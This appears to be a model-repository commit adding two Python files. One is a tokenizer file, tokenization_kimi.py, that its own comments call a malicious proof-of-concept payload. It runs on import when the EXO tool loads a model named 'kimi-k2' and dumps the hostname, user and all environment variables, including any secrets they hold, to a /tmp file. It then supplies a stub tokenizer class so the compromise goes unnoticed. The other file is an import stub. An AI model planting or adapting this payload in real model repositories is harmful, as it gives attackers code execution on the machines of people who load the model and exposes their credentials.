Upload 2 files
Browse files- tokenization_kimi.py +73 -0
- tool_declaration_ts.py +18 -0
tokenization_kimi.py
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Malicious tokenization_kimi.py - PoC Payload
|
| 2 |
+
# This file will be executed via exec() when EXO loads a model with "kimi-k2" in the name
|
| 3 |
+
import os
|
| 4 |
+
import sys
|
| 5 |
+
import socket
|
| 6 |
+
import subprocess
|
| 7 |
+
from pathlib import Path
|
| 8 |
+
|
| 9 |
+
# ============================================================================
|
| 10 |
+
# PAYLOAD CONFIGURATION
|
| 11 |
+
# ============================================================================
|
| 12 |
+
POC_MARKER_FILE = "/tmp/exo_rce_poc_pwned.txt" # Proof of execution
|
| 13 |
+
|
| 14 |
+
# ============================================================================
|
| 15 |
+
# PAYLOAD EXECUTION
|
| 16 |
+
# ============================================================================
|
| 17 |
+
def execute_payload():
|
| 18 |
+
"""
|
| 19 |
+
This function executes when EXO loads the tokenizer.
|
| 20 |
+
Creates a marker file with system information as proof of code execution.
|
| 21 |
+
"""
|
| 22 |
+
|
| 23 |
+
# --- MARKER FILE (Proof of execution) ---
|
| 24 |
+
try:
|
| 25 |
+
with open(POC_MARKER_FILE, "w") as f:
|
| 26 |
+
f.write("=== EXO RCE PoC - Successful Exploitation ===\n")
|
| 27 |
+
f.write(f"Hostname: {socket.gethostname()}\n")
|
| 28 |
+
f.write(f"User: {os.getenv('USER', 'unknown')}\n")
|
| 29 |
+
f.write(f"CWD: {os.getcwd()}\n")
|
| 30 |
+
f.write(f"Python: {sys.executable}\n")
|
| 31 |
+
f.write(f"PATH: {os.getenv('PATH', '')}\n")
|
| 32 |
+
f.write("\n--- Environment Variables ---\n")
|
| 33 |
+
for key, value in sorted(os.environ.items()):
|
| 34 |
+
f.write(f"{key}={value}\n")
|
| 35 |
+
print(f"[+] PoC marker file written to: {POC_MARKER_FILE}")
|
| 36 |
+
except Exception as e:
|
| 37 |
+
print(f"[-] Failed to write marker file: {e}")
|
| 38 |
+
|
| 39 |
+
# Execute payload immediately when this module is loaded
|
| 40 |
+
execute_payload()
|
| 41 |
+
|
| 42 |
+
# ============================================================================
|
| 43 |
+
# STUB TOKENIZER CLASS (Required to avoid runtime errors)
|
| 44 |
+
# ============================================================================
|
| 45 |
+
# EXO expects to find TikTokenTokenizer class in this module
|
| 46 |
+
# We provide a minimal stub to prevent crashes after exploitation
|
| 47 |
+
|
| 48 |
+
class TikTokenTokenizer:
|
| 49 |
+
"""
|
| 50 |
+
Stub tokenizer class to satisfy EXO's expectations.
|
| 51 |
+
The payload has already executed by the time this class is instantiated.
|
| 52 |
+
"""
|
| 53 |
+
|
| 54 |
+
def __init__(self, *args, **kwargs):
|
| 55 |
+
self.model = self
|
| 56 |
+
self.eos_token_id = 0
|
| 57 |
+
print("[+] TikTokenTokenizer stub initialized (payload already executed)")
|
| 58 |
+
|
| 59 |
+
@classmethod
|
| 60 |
+
def from_pretrained(cls, model_path, *args, **kwargs):
|
| 61 |
+
"""Stub from_pretrained method"""
|
| 62 |
+
print(f"[+] TikTokenTokenizer.from_pretrained called with: {model_path}")
|
| 63 |
+
return cls()
|
| 64 |
+
|
| 65 |
+
def encode(self, text, allowed_special=None):
|
| 66 |
+
"""Stub encode method - returns dummy token IDs"""
|
| 67 |
+
return [1, 2, 3] # Dummy tokens
|
| 68 |
+
|
| 69 |
+
def decode(self, tokens, *args, **kwargs):
|
| 70 |
+
"""Stub decode method"""
|
| 71 |
+
return "decoded_text"
|
| 72 |
+
|
| 73 |
+
print("[+] Malicious tokenization_kimi.py module loaded successfully")
|
tool_declaration_ts.py
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# tool_declaration_ts.py - Stub file
|
| 2 |
+
# This file is imported by tokenization_kimi.py in legitimate Kimi models
|
| 3 |
+
# We provide a minimal stub to prevent import errors
|
| 4 |
+
|
| 5 |
+
"""
|
| 6 |
+
Tool declaration module stub for Kimi tokenizer.
|
| 7 |
+
The original Kimi model uses this for tool/function calling support.
|
| 8 |
+
For the PoC, we only need this to exist to prevent import errors.
|
| 9 |
+
"""
|
| 10 |
+
|
| 11 |
+
# Minimal stub - add whatever is needed to prevent import errors
|
| 12 |
+
# The real payload executes in tokenization_kimi.py before this is used
|
| 13 |
+
|
| 14 |
+
def dummy_function():
|
| 15 |
+
"""Placeholder function"""
|
| 16 |
+
pass
|
| 17 |
+
|
| 18 |
+
print("[+] tool_declaration_ts.py stub loaded")
|